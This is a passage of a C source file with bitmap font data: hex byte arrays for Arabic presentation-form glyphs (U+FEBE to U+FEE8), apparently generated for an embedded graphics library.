0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xac, 0x0, 0x0,
0xa, 0xff, 0x87, 0x8b, 0xff, 0x50, 0xd9, 0x0,
0x0, 0xb, 0xde, 0xff, 0xed, 0x81, 0x0, 0xf7,
0x0, 0x0, 0xd, 0x90, 0x0, 0x0, 0x0, 0x0,
0xe8, 0x0, 0x0, 0x5f, 0x50, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x63, 0x28, 0xfd, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1c, 0xff, 0xff, 0xa1, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x13, 0x41, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+FEBE "ﺾ" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1a,
0xff, 0xc3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3e, 0xd6, 0x5c, 0xe0, 0x0, 0x0, 0x0, 0x0,
0xa4, 0x3f, 0xb0, 0x0, 0x5f, 0x10, 0x4e, 0x10,
0x0, 0xc, 0xce, 0xc0, 0x0, 0x2d, 0xf0, 0xa,
0xc0, 0x0, 0x0, 0xaf, 0xf8, 0x78, 0xbf, 0xff,
0x95, 0xd9, 0x0, 0x0, 0xb, 0xde, 0xff, 0xed,
0x83, 0xaf, 0xcf, 0x70, 0x0, 0x0, 0xd9, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x5f,
0x50, 0x0, 0x0, 0x0, 0x0, 0x9, 0xf6, 0x32,
0x8f, 0xd0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1c,
0xff, 0xff, 0xa1, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1, 0x34, 0x10, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+FEBF "ﺿ" */
0x0, 0x0, 0x4c, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8f, 0xfe, 0x50, 0x0, 0x4,
0x30, 0x1d, 0xf7, 0x4a, 0xf2, 0x0, 0xd, 0xa1,
0xdd, 0x20, 0x1, 0xf5, 0x0, 0x1f, 0xec, 0xe1,
0x0, 0x1a, 0xf3, 0x17, 0xcf, 0xff, 0xa7, 0x8a,
0xff, 0x80, 0x2f, 0xe6, 0x6e, 0xff, 0xfd, 0xa3,
0x0,
/* U+FEC0 "ﻀ" */
0x0, 0x0, 0x4c, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x8f, 0xfd, 0x60, 0x0,
0x0, 0x4, 0x30, 0x1d, 0xf7, 0x4a, 0xf2, 0x0,
0x0, 0xd, 0xa1, 0xdd, 0x20, 0x1, 0xf6, 0x0,
0x0, 0x1f, 0xec, 0xe1, 0x0, 0x1a, 0xf4, 0x0,
0x17, 0xcf, 0xff, 0xa7, 0x8a, 0xff, 0xfb, 0x70,
0x2f, 0xe6, 0x6e, 0xff, 0xfd, 0xa4, 0x7e, 0xf0,
/* U+FEC1 "ﻁ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf7, 0x0, 0x0,
0x0, 0x0, 0x0, 0xf, 0x70, 0x0, 0x0, 0x0,
0x0, 0x0, 0xf7, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf, 0x70, 0x6, 0xdf, 0xf9, 0x0, 0x0, 0xf7,
0xb, 0xfa, 0x46, 0xf7, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xa0, 0x0, 0xfd, 0xf5, 0x0, 0x6,
0xf8, 0x67, 0x7f, 0xfd, 0x77, 0x9d, 0xfc, 0x1e,
0xff, 0xff, 0xff, 0xfe, 0xb5, 0x0,
/* U+FEC2 "ﻂ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf,
0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf7,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x6, 0xdf, 0xf9, 0x0, 0x0, 0x0, 0xf7, 0xb,
0xfa, 0x46, 0xf7, 0x0, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xb0, 0x0, 0x0, 0xfd, 0xf5, 0x0,
0x6, 0xf9, 0x0, 0x67, 0x7f, 0xfd, 0x77, 0x9d,
0xff, 0xe7, 0x2e, 0xff, 0xff, 0xff, 0xfe, 0xb6,
0x4d, 0xf5,
/* U+FEC3 "ﻃ" */
0x0, 0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x1,
0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x60,
0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1f, 0x60, 0x0, 0x0, 0x0,
0x0, 0x1, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1f, 0x60, 0x6, 0xef, 0xf9, 0x0, 0x1, 0xf6,
0xc, 0xf9, 0x47, 0xf6, 0x0, 0x1f, 0x6b, 0xf5,
0x0, 0xd, 0x90, 0x1, 0xfd, 0xf4, 0x0, 0x7,
0xf7, 0x17, 0x7f, 0xfd, 0x77, 0x9e, 0xfc, 0x2,
0xff, 0xff, 0xff, 0xfd, 0xb5, 0x0,
/* U+FEC4 "ﻄ" */
0x0, 0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f,
0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x60,
0x6, 0xef, 0xf9, 0x0, 0x0, 0x1, 0xf6, 0xc,
0xf9, 0x47, 0xf6, 0x0, 0x0, 0x1f, 0x6b, 0xf5,
0x0, 0xd, 0xa0, 0x0, 0x1, 0xfd, 0xf4, 0x0,
0x7, 0xf8, 0x0, 0x17, 0x7f, 0xfd, 0x77, 0x9e,
0xff, 0xd7, 0x12, 0xff, 0xff, 0xff, 0xfe, 0xb5,
0x5d, 0xf4,
/* U+FEC5 "ﻅ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf7, 0x0, 0x0,
0x0, 0x0, 0x0, 0xf, 0x70, 0x5c, 0x0, 0x0,
0x0, 0x0, 0xf7, 0x1, 0x20, 0x0, 0x0, 0x0,
0xf, 0x70, 0x6, 0xdf, 0xf9, 0x0, 0x0, 0xf7,
0xb, 0xfa, 0x46, 0xf7, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xa0, 0x0, 0xfd, 0xf5, 0x0, 0x6,
0xf8, 0x67, 0x7f, 0xfd, 0x77, 0x9d, 0xfc, 0x1e,
0xff, 0xff, 0xff, 0xfe, 0xb5, 0x0,
/* U+FEC6 "ﻆ" */
0x0, 0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf,
0x70, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0xf7,
0x1, 0x20, 0x0, 0x0, 0x0, 0x0, 0xf, 0x70,
0x6, 0xdf, 0xf9, 0x0, 0x0, 0x0, 0xf7, 0xb,
0xfa, 0x46, 0xf7, 0x0, 0x0, 0xf, 0x7b, 0xf6,
0x0, 0xc, 0xb0, 0x0, 0x0, 0xfd, 0xf5, 0x0,
0x6, 0xf9, 0x0, 0x67, 0x7f, 0xfd, 0x77, 0x9d,
0xff, 0xe7, 0x2e, 0xff, 0xff, 0xff, 0xfe, 0xb6,
0x4d, 0xf5,
/* U+FEC7 "ﻇ" */
0x0, 0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x1,
0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x60,
0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1f, 0x60, 0x6b, 0x0, 0x0,
0x0, 0x1, 0xf6, 0x1, 0x20, 0x0, 0x0, 0x0,
0x1f, 0x60, 0x6, 0xef, 0xf9, 0x0, 0x1, 0xf6,
0xc, 0xf9, 0x47, 0xf6, 0x0, 0x1f, 0x6b, 0xf5,
0x0, 0xd, 0x90, 0x1, 0xfd, 0xf4, 0x0, 0x7,
0xf7, 0x17, 0x7f, 0xfd, 0x77, 0x9e, 0xfc, 0x2,
0xff, 0xff, 0xff, 0xfd, 0xb5, 0x0,
/* U+FEC8 "ﻈ" */
0x0, 0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1f, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f,
0x60, 0x6b, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6,
0x1, 0x20, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x60,
0x6, 0xef, 0xf9, 0x0, 0x0, 0x1, 0xf6, 0xc,
0xf9, 0x47, 0xf6, 0x0, 0x0, 0x1f, 0x6b, 0xf5,
0x0, 0xd, 0xa0, 0x0, 0x1, 0xfd, 0xf4, 0x0,
0x7, 0xf8, 0x0, 0x17, 0x7f, 0xfd, 0x77, 0x9e,
0xff, 0xd7, 0x12, 0xff, 0xff, 0xff, 0xfe, 0xb5,
0x5d, 0xf4,
/* U+FEC9 "ﻉ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xef,
0x20, 0x0, 0x0, 0xce, 0x75, 0x0, 0x0, 0x4,
0xf2, 0x0, 0x0, 0x0, 0x4, 0xf4, 0x26, 0xbd,
0x0, 0x0, 0xaf, 0xff, 0xd9, 0x0, 0x0, 0xbf,
0x92, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0xf, 0x80, 0x0, 0x0, 0x0, 0xf, 0x50, 0x0,
0x0, 0x0, 0xe, 0x90, 0x0, 0x0, 0x0, 0x6,
0xf9, 0x31, 0x13, 0x95, 0x0, 0x6d, 0xff, 0xff,
0xd3, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+FECA "ﻊ" */
0x0, 0x1, 0x10, 0x0, 0x0, 0x1, 0xcf, 0xfc,
0x20, 0x0, 0x8, 0xf9, 0x8f, 0x90, 0x0, 0x4,
0xfc, 0xdf, 0x50, 0x0, 0x1, 0xdf, 0xf4, 0x0,
0x0, 0xa, 0xf7, 0xef, 0x97, 0x40, 0xf, 0x80,
0x18, 0xdf, 0xa0, 0xf, 0x50, 0x0, 0x0, 0x0,
0xd, 0xa0, 0x0, 0x0, 0x0, 0x6, 0xfa, 0x31,
0x13, 0x96, 0x0, 0x5d, 0xff, 0xff, 0xd3, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FECB "ﻋ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x19, 0xef,
0x20, 0x0, 0xc, 0xe7, 0x40, 0x0, 0x3, 0xf3,
0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0, 0x2,
0xf8, 0x1, 0x8d, 0x0, 0x5, 0xff, 0xfe, 0x61,
0x79, 0xdf, 0xd5, 0x0, 0x2f, 0xd9, 0x30, 0x0,
0x0,
/* U+FECC "ﻌ" */
0x0, 0x0, 0x10, 0x0, 0x0, 0x3, 0xdf, 0xfb,
0x10, 0x0, 0xbf, 0x7a, 0xf7, 0x0, 0x5, 0xfa,
0xde, 0x20, 0x0, 0x8, 0xff, 0x40, 0x1, 0x79,
0xfd, 0xee, 0x86, 0x2f, 0xe8, 0x2, 0xaf, 0xe0,
/* U+FECD "ﻍ" */
0x0, 0xf, 0x10, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0, 0x0, 0x8, 0xef, 0x20, 0x0, 0x0,
0xce, 0x75, 0x0, 0x0, 0x4, 0xf2, 0x0, 0x0,
0x0, 0x4, 0xf4, 0x26, 0xbd, 0x0, 0x0, 0xaf,
0xff, 0xd9, 0x0, 0x0, 0xbf, 0x92, 0x0, 0x0,
0x9, 0xf4, 0x0, 0x0, 0x0, 0xf, 0x80, 0x0,
0x0, 0x0, 0xf, 0x50, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x0, 0x0, 0x6, 0xf9, 0x31, 0x13,
0x95, 0x0, 0x6d, 0xff, 0xff, 0xd3, 0x0, 0x0,
0x13, 0x31, 0x0,
/* U+FECE "ﻎ" */
0x0, 0xa, 0x70, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0, 0x1,
0xcf, 0xfc, 0x20, 0x0, 0x8, 0xf9, 0x8f, 0x90,
0x0, 0x4, 0xfc, 0xdf, 0x50, 0x0, 0x1, 0xdf,
0xf4, 0x0, 0x0, 0xa, 0xf7, 0xef, 0x97, 0x40,
0xf, 0x80, 0x18, 0xdf, 0xa0, 0xf, 0x50, 0x0,
0x0, 0x0, 0xd, 0xa0, 0x0, 0x0, 0x0, 0x6,
0xfa, 0x31, 0x13, 0x96, 0x0, 0x5d, 0xff, 0xff,
0xd3, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+FECF "ﻏ" */
0x0, 0x0, 0xf1, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x19,
0xef, 0x20, 0x0, 0xc, 0xe7, 0x40, 0x0, 0x3,
0xf3, 0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0,
0x2, 0xf8, 0x1, 0x8d, 0x0, 0x5, 0xff, 0xfe,
0x61, 0x79, 0xdf, 0xd5, 0x0, 0x2f, 0xd9, 0x30,
0x0, 0x0,
/* U+FED0 "ﻐ" */
0x0, 0x0, 0xb7, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x3, 0xdf,
0xfb, 0x10, 0x0, 0xbf, 0x7a, 0xf7, 0x0, 0x5,
0xfa, 0xde, 0x20, 0x0, 0x8, 0xff, 0x40, 0x1,
0x79, 0xfd, 0xee, 0x86, 0x2f, 0xe8, 0x2, 0xaf,
0xe0,
/* U+FED1 "ﻑ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xa, 0xfd, 0x20, 0x0, 0x0,
0x0, 0x0, 0x9, 0xf9, 0xee, 0x0, 0x0, 0x0,
0x0, 0x0, 0xda, 0x5, 0xf3, 0x0, 0x0, 0x0,
0x0, 0xc, 0xd1, 0x8f, 0x3b, 0xa0, 0x0, 0x0,
0x0, 0x4f, 0xfe, 0xf1, 0xf8, 0x0, 0x0, 0x0,
0x0, 0x3, 0xbc, 0xb, 0xf8, 0x32, 0x12, 0x24,
0x6a, 0xfe, 0x20, 0x9, 0xff, 0xff, 0xff, 0xff,
0xc7, 0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0,
0x0, 0x0,
/* U+FED2 "ﻒ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1, 0xaf, 0xc2, 0x0,
0x11, 0x0, 0x0, 0x0, 0xb, 0xf9, 0xee, 0x0,
0xca, 0x0, 0x0, 0x0, 0xd, 0xa0, 0x5f, 0x20,
0xf8, 0x0, 0x0, 0x0, 0x9, 0xe1, 0x6f, 0x0,
0xaf, 0x83, 0x22, 0x22, 0x35, 0xfd, 0xfd, 0x75,
0x9, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xdf, 0xfb,
0x0, 0x3, 0x44, 0x43, 0x32, 0x0, 0x0, 0x0,
/* U+FED3 "ﻓ" */
0x0, 0x0, 0xa7, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0x1, 0x76, 0x0, 0x0, 0x2e, 0xff, 0xc0,
0x0, 0x8f, 0x24, 0xf6, 0x0, 0x8f, 0x23, 0xf7,
0x0, 0x1d, 0xff, 0xf6, 0x0, 0x0, 0x27, 0xf3,
0x17, 0x77, 0xaf, 0xb0, 0x2f, 0xff, 0xe9, 0x10,
/* U+FED4 "ﻔ" */
0x0, 0x0, 0x8a, 0x0, 0x0, 0x0, 0x0, 0x11,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x7, 0xff, 0x90, 0x0, 0x0, 0x3f, 0xb9, 0xf4,
0x0, 0x0, 0x5f, 0x20, 0xf7, 0x0, 0x0, 0x2f,
0x86, 0xf4, 0x0, 0x17, 0x7e, 0xff, 0xf7, 0x71,
0x2f, 0xfe, 0xba, 0xef, 0xf4,
/* U+FED5 "ﻕ" */
0x0, 0x0, 0x0, 0x5c, 0x6c, 0x0, 0x0, 0x0,
0x0, 0x2, 0x12, 0x0, 0x0, 0x0, 0x0, 0x1b,
0xfc, 0x10, 0x0, 0x0, 0x0, 0xaf, 0x9e, 0xa0,
0x0, 0x0, 0x0, 0xf9, 0x7, 0xf0, 0x0, 0x0,
0x0, 0xdc, 0x19, 0xf2, 0x3, 0x50, 0x0, 0x5f,
0xfe, 0xf3, 0xc, 0x90, 0x0, 0x1, 0x24, 0xf1,
0xf, 0x50, 0x0, 0x0, 0x9, 0xd0, 0x2f, 0x40,
0x0, 0x0, 0x3f, 0x60, 0xf, 0x70, 0x0, 0x4,
0xeb, 0x0, 0xb, 0xe5, 0x35, 0xaf, 0xb0, 0x0,
0x1, 0xdf, 0xff, 0xe7, 0x0, 0x0, 0x0, 0x3,
0x43, 0x0, 0x0, 0x0,
/* U+FED6 "ﻖ" */
0x0, 0x0, 0x0, 0xf, 0x3f, 0x20, 0x0, 0x0,
0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1c, 0xfc, 0x10, 0x0, 0x0, 0x0, 0x0,
0xaf, 0x9e, 0xa0, 0x0, 0x0, 0x0, 0x0, 0xf8,
0x6, 0xf0, 0x0, 0x0, 0x0, 0x0, 0xed, 0x33,
0xf2, 0x0, 0x9, 0x70, 0x0, 0x8f, 0xfe, 0xf8,
0x73, 0xf, 0x60, 0x0, 0x8, 0xff, 0xff, 0xf8,
0x2f, 0x40, 0x0, 0x0, 0xc, 0xd0, 0x0, 0xf,
0x70, 0x0, 0x0, 0x9f, 0x40, 0x0, 0xb, 0xe6,
0x23, 0x6d, 0xf6, 0x0, 0x0, 0x1, 0xcf, 0xff,
0xfc, 0x30, 0x0, 0x0, 0x0, 0x2, 0x44, 0x10,
0x0, 0x0, 0x0,
/* U+FED7 "ﻗ" */
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0x1, 0x76, 0x0, 0x0, 0x2e, 0xff, 0xc0,
0x0, 0x8f, 0x24, 0xf6, 0x0, 0x8f, 0x23, 0xf7,
0x0, 0x1d, 0xff, 0xf6, 0x0, 0x0, 0x27, 0xf3,
0x17, 0x77, 0xaf, 0xb0, 0x2f, 0xff, 0xe9, 0x10,
/* U+FED8 "ﻘ" */
0x0, 0x8, 0x99, 0x80, 0x0, 0x0, 0x1, 0x11,
0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x7, 0xff, 0x90, 0x0, 0x0, 0x3f, 0xb9, 0xf4,
0x0, 0x0, 0x5f, 0x20, 0xf7, 0x0, 0x0, 0x2f,
0x86, 0xf4, 0x0, 0x17, 0x7e, 0xff, 0xf7, 0x71,
0x2f, 0xfe, 0xba, 0xef, 0xf4,
/* U+FED9 "ﻙ" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x90, 0x0, 0x0,
0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x0, 0xe,
0x90, 0x0, 0x2, 0x96, 0x0, 0xe9, 0x0, 0x0,
0x76, 0x0, 0xe, 0x90, 0x0, 0x0, 0x58, 0x0,
0xe9, 0x0, 0x2, 0xab, 0x20, 0xe, 0x90, 0x0,
0x0, 0x0, 0x0, 0xe8, 0x54, 0x0, 0x0, 0x0,
0xf, 0x7d, 0xa0, 0x0, 0x0, 0x9, 0xf3, 0x8f,
0xb7, 0x55, 0x8e, 0xf8, 0x0, 0x5c, 0xef, 0xfe,
0xb4, 0x0,
/* U+FEDA "ﻚ" */
0x0, 0x0, 0x0, 0x0, 0xe, 0x90, 0x0, 0x0,
0x0, 0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0x0,
0x0, 0xe, 0x90, 0x0, 0x0, 0x2, 0x96, 0x0,
0xe9, 0x0, 0x0, 0x0, 0x76, 0x0, 0xe, 0x90,
0x0, 0x0, 0x0, 0x58, 0x0, 0xe9, 0x0, 0x0,
0x2, 0xab, 0x20, 0xe, 0x90, 0x0, 0x0, 0x0,
0x0, 0x0, 0xe9, 0x0, 0x22, 0x0, 0x0, 0x0,
0xf, 0x90, 0xd, 0xa0, 0x0, 0x0, 0x9, 0xfa,
0x0, 0x9f, 0xb7, 0x55, 0x8e, 0xfd, 0xf8, 0x40,
0x6c, 0xff, 0xfe, 0xa4, 0x9, 0xfa,
/* U+FEDB "ﻛ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4,
0xb9, 0x0, 0x1, 0x7d, 0xfc, 0x40, 0x8, 0xff,
0x93, 0x0, 0x3, 0xf9, 0x10, 0x0, 0x0, 0x3f,
0x60, 0x0, 0x0, 0x0, 0xaf, 0x30, 0x0, 0x0,
0x0, 0xce, 0x10, 0x0, 0x0, 0x1, 0xec, 0x0,
0x0, 0x0, 0x5, 0xf4, 0x0, 0x0, 0x0, 0x3f,
0x50, 0x1, 0x77, 0x7d, 0xf1, 0x0, 0x2f, 0xff,
0xd4, 0x0, 0x0,
/* U+FEDC "ﻜ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4b, 0x90, 0x0, 0x1, 0x7d, 0xfc, 0x40, 0x0,
0x8f, 0xf9, 0x30, 0x0, 0x3, 0xf9, 0x10, 0x0,
0x0, 0x3, 0xf6, 0x0, 0x0, 0x0, 0x0, 0xaf,
0x30, 0x0, 0x0, 0x0, 0xc, 0xe1, 0x0, 0x0,
0x0, 0x1, 0xec, 0x0, 0x0, 0x0, 0x0, 0x5f,
0xa0, 0x0, 0x0, 0x0, 0x3f, 0xf7, 0x0, 0x17,
0x77, 0xdf, 0xaf, 0x97, 0x2f, 0xff, 0xd4, 0x8,
0xef,
/* U+FEDD "ﻝ" */
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x4, 0xf3,
0x0, 0x0, 0x0, 0x4, 0xf2, 0x36, 0x0, 0x0,
0x5, 0xf2, 0xcb, 0x0, 0x0, 0x8, 0xf0, 0xd9,
0x0, 0x0, 0x2e, 0xb0, 0x9f, 0x61, 0x37, 0xef,
0x20, 0xa, 0xff, 0xff, 0xa2, 0x0, 0x0, 0x13,
0x30, 0x0, 0x0,
/* U+FEDE "ﻞ" */
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x0, 0x4, 0xf3, 0x0,
0x0, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x25, 0x0,
0x0, 0x5, 0xf4, 0x0, 0xbb, 0x0, 0x0, 0x8,
0xfd, 0x71, 0xd9, 0x0, 0x0, 0x2e, 0xed, 0xf4,
0x9f, 0x61, 0x37, 0xef, 0x30, 0x0, 0x1a, 0xff,
0xff, 0xa2, 0x0, 0x0, 0x0, 0x13, 0x30, 0x0,
0x0, 0x0,
/* U+FEDF "ﻟ" */
0x0, 0x1f, 0x60, 0x1, 0xf6, 0x0, 0x1f, 0x60,
0x1, 0xf6, 0x0, 0x1f, 0x60, 0x1, 0xf6, 0x0,
0x1f, 0x60, 0x1, 0xf6, 0x0, 0x1f, 0x60, 0x2,
0xf5, 0x17, 0xcf, 0x12, 0xfe, 0x60,
/* U+FEE0 "ﻠ" */
0x0, 0x1f, 0x60, 0x0, 0x1, 0xf6, 0x0, 0x0,
0x1f, 0x60, 0x0, 0x1, 0xf6, 0x0, 0x0, 0x1f,
0x60, 0x0, 0x1, 0xf6, 0x0, 0x0, 0x1f, 0x60,
0x0, 0x1, 0xf6, 0x0, 0x0, 0x1f, 0x60, 0x0,
0x2, 0xf7, 0x0, 0x17, 0xcf, 0xe7, 0x32, 0xfe,
0x8c, 0xf7,
/* U+FEE1 "ﻡ" */
0x0, 0x2, 0x87, 0x10, 0x0, 0x2f, 0xff, 0xf3,
0x0, 0xae, 0x11, 0xea, 0x3, 0xdd, 0x32, 0xea,
0x5f, 0xbe, 0xff, 0xe3, 0xcb, 0x0, 0x23, 0x0,
0xea, 0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0x0,
0xea, 0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0x0,
/* U+FEE2 "ﻢ" */
0x0, 0x7, 0xee, 0x60, 0x0, 0x0, 0x5f, 0xbb,
0xf5, 0x0, 0x0, 0xbc, 0x0, 0xdc, 0x0, 0x5,
0xee, 0x77, 0xff, 0xb7, 0x6f, 0x7a, 0xef, 0xdd,
0xfd, 0xca, 0x0, 0x0, 0x0, 0x0, 0xea, 0x0,
0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0x0, 0x0,
0xc9, 0x0, 0x0, 0x0, 0x0,
/* U+FEE3 "ﻣ" */
0x0, 0x1, 0xbf, 0xd5, 0x0, 0x0, 0xce, 0x9d,
0xf1, 0x0, 0x1f, 0x50, 0x3f, 0x41, 0x7c, 0xfb,
0x7b, 0xf2, 0x2f, 0xe9, 0xdf, 0xe6, 0x0,
/* U+FEE4 "ﻤ" */
0x0, 0x1, 0xbf, 0xc3, 0x0, 0x0, 0x0, 0xce,
0x9d, 0xe1, 0x0, 0x0, 0x1f, 0x50, 0x4f, 0x50,
0x1, 0x7c, 0xfb, 0x7a, 0xfe, 0x72, 0x2f, 0xe9,
0xdf, 0xfb, 0xef, 0x60,
/* U+FEE5 "ﻥ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x4, 0x50, 0x0, 0x0, 0x0, 0x5, 0xf2, 0x23,
0x0, 0x0, 0x1, 0xf6, 0xbc, 0x0, 0x0, 0x0,
0xf8, 0xda, 0x0, 0x0, 0x0, 0xf8, 0xc9, 0x0,
0x0, 0x3, 0xf5, 0xad, 0x0, 0x0, 0xa, 0xe0,
0x3f, 0xa4, 0x24, 0xaf, 0x60, 0x5, 0xef, 0xff,
0xe5, 0x0, 0x0, 0x3, 0x42, 0x0, 0x0,
/* U+FEE6 "ﻦ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x0, 0x1,
0x10, 0x7, 0xf0, 0x0, 0x24, 0x0, 0x0, 0x1,
0xf7, 0x0, 0xac, 0x0, 0x0, 0x0, 0xff, 0x82,
0xca, 0x0, 0x0, 0x0, 0xfe, 0xf5, 0xc9, 0x0,
0x0, 0x2, 0xf5, 0x0, 0xad, 0x0, 0x0, 0x9,
0xe0, 0x0, 0x3f, 0xa4, 0x24, 0xaf, 0x40, 0x0,
0x5, 0xef, 0xff, 0xd4, 0x0, 0x0, 0x0, 0x3,
0x42, 0x0, 0x0, 0x0,
/* U+FEE7 "ﻧ" */
0x0, 0x3e, 0x0, 0x0, 0x20, 0x0, 0x0, 0x0,
0x4, 0xc0, 0x0, 0x6f, 0x0, 0x7, 0xf0, 0x18,
0xec, 0x2, 0xfc, 0x20,
/* U+FEE8 "ﻨ" */
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x4c, 0x0, 0x0, 0x6f, 0x10, 0x0,
